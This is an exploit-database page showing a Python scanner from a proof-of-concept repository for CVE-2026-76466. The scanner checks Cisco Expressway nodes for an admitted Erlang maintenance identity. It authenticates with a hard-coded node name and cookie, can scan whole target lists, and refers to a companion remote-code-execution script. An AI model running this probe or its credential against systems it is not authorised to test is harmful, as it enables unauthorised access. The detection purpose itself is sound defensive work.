Exploit database

GH-b47e3682130aa282903c8b433190d26a

dinosn/cve-2026-76466

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-76466

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1
dinosn/cve-2026-76466Revision 3659cfd2b751

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

detector/detect_fleet.py

Python · 6,179 bytes
#!/usr/bin/env python3
"""
Fleet detector for CVE-2026-76466.

Checks whether Cisco Expressway cluster nodes expose the Erlang distribution
port (TCP/4372) and whether the vendor maintenance identity is admitted.

This is an authentication probe — it does NOT execute any commands on the
target. The --mode ping completes the TLS + distribution handshake only.

Usage:
  # Single target
  python3 detect_fleet.py <ip> [port]

  # Fleet scan from a file (one IP or IP:port per line)
  python3 detect_fleet.py --fleet targets.txt

  # Full check including bounded RCE proof (authorized use only)
  python3 detect_fleet.py <ip> --uid
"""
import argparse, hashlib, json, socket, ssl, struct, sys

MAINT_NODE = "[email protected]"
MAINT_COOKIE = "wombat"


def tls_connect(target, port, timeout=8):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    raw = socket.create_connection((target, port), timeout=timeout)
    return ctx.wrap_socket(raw, server_hostname=target)


def send_msg(w, data):
    w.sendall(struct.pack(">I", len(data)) + data)


def recv_msg(w, timeout=8):
    w.settimeout(timeout)
    hdr = b""
    while len(hdr) < 4:
        d = w.recv(4 - len(hdr))
        if not d:
            return None
        hdr += d
    ln = struct.unpack(">I", hdr)[0]
    body = b""
    while len(body) < ln:
        d = w.recv(ln - len(body))
        if not d:
            return None
        body += d
    return body


def dist_handshake(w):
    """Complete the dist challenge-response. Returns (True, detail) or (False, reason)."""
    name = MAINT_NODE.encode()
    send_msg(w, b"n" + struct.pack(">H", 5) + struct.pack(">I", 0x7FD)
             + struct.pack(">H", len(name)) + name)
    r = recv_msg(w)
    if r is None:
        return False, "closed_after_hello"
    if r[:1] == b"s":
        return False, r[1:40].decode(errors="replace").strip("\x00")
    if r[:1] not in (b"n", b"N"):
        return False, f"unexpected:{r[:10].hex()}"
    chal_msg = recv_msg(w)
    if chal_msg is None or chal_msg[:1] != b"r":
        return False, "no_challenge"
    challenge = struct.unpack(">I", chal_msg[1:5])[0]
    digest = hashlib.md5(struct.pack(">I", challenge) + MAINT_COOKIE.encode()).digest()
    send_msg(w, b"r" + struct.pack(">I", 0x41414141) + digest)
    st = recv_msg(w)
    if st is None:
        return False, "closed_after_digest"
    if st[:1] == b"s" and b"ok" in st[1:5]:
        return True, "ok"
    return False, st[1:30].decode(errors="replace").strip("\x00") if st else "empty"


def check_target(target, port=4372, uid_check=False):
    """Probe a single target. Returns a result dict."""
    result = {"target": f"{target}:{port}"}
    try:
        w = tls_connect(target, port)
        result["tls"] = True
        result["tls_version"] = w.version()
    except Exception as e:
        result["tls"] = False
        result["status"] = "UNREACHABLE"
        result["error"] = str(e)[:80]
        return result

    try:
        ok, detail = dist_handshake(w)
        w.close()
    except Exception as e:
        result["status"] = "ERROR"
        result["error"] = str(e)[:80]
        return result

    if ok:
        result["status"] = "VULNERABLE"
        result["maintenance_identity_admitted"] = True
        result["cookie_accepted"] = True
        if uid_check:
            result["note"] = "Run exploit/cve_2026_76466.py --mode uid for bounded RCE proof"
    elif "not_allowed" in detail:
        result["status"] = "PORT_OPEN_IDENTITY_REJECTED"
        result["maintenance_identity_admitted"] = False
        result["note"] = "Identity rejected — may be patched, Enforcing mode, or standalone (no cluster)"
    else:
        result["status"] = "PORT_OPEN_COOKIE_REJECTED"
        result["maintenance_identity_admitted"] = True
        result["cookie_accepted"] = False
        result["detail"] = detail

    return result


def main():
    p = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument("target", nargs="?", help="Target IP or hostname")
    p.add_argument("port", nargs="?", type=int, default=4372)
    p.add_argument("--fleet", help="File with one target per line (IP or IP:port)")
    p.add_argument("--uid", action="store_true",
                   help="Include bounded RCE proof instruction for vulnerable targets")
    p.add_argument("--json", action="store_true", help="JSON output")
    args = p.parse_args()

    if args.fleet:
        targets = []
        for line in open(args.fleet):
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            if ":" in line:
                ip, port = line.rsplit(":", 1)
                targets.append((ip, int(port)))
            else:
                targets.append((line, 4372))
        results = []
        for ip, port in targets:
            r = check_target(ip, port, args.uid)
            icon = "🔴" if r["status"] == "VULNERABLE" else \
                   "🟡" if "PORT_OPEN" in r["status"] else "⚪"
            print(f"{icon} {r['target']} — {r['status']}")
            results.append(r)
        if args.json:
            print(json.dumps(results, indent=2))
        vuln = sum(1 for r in results if r["status"] == "VULNERABLE")
        total = len(results)
        print(f"\nSummary: {vuln}/{total} vulnerable, "
              f"{sum(1 for r in results if 'PORT_OPEN' in r['status'])} port-open, "
              f"{sum(1 for r in results if r['status'] == 'UNREACHABLE')} unreachable")
    elif args.target:
        r = check_target(args.target, args.port, args.uid)
        if args.json:
            print(json.dumps(r, indent=2))
        else:
            icon = "🔴" if r["status"] == "VULNERABLE" else \
                   "🟡" if "PORT_OPEN" in r["status"] else "⚪"
            print(f"{icon} {r['target']} — {r['status']}")
            for k, v in r.items():
                if k not in ("target", "status"):
                    print(f"    {k}: {v}")
    else:
        p.print_help()


if __name__ == "__main__":
    main()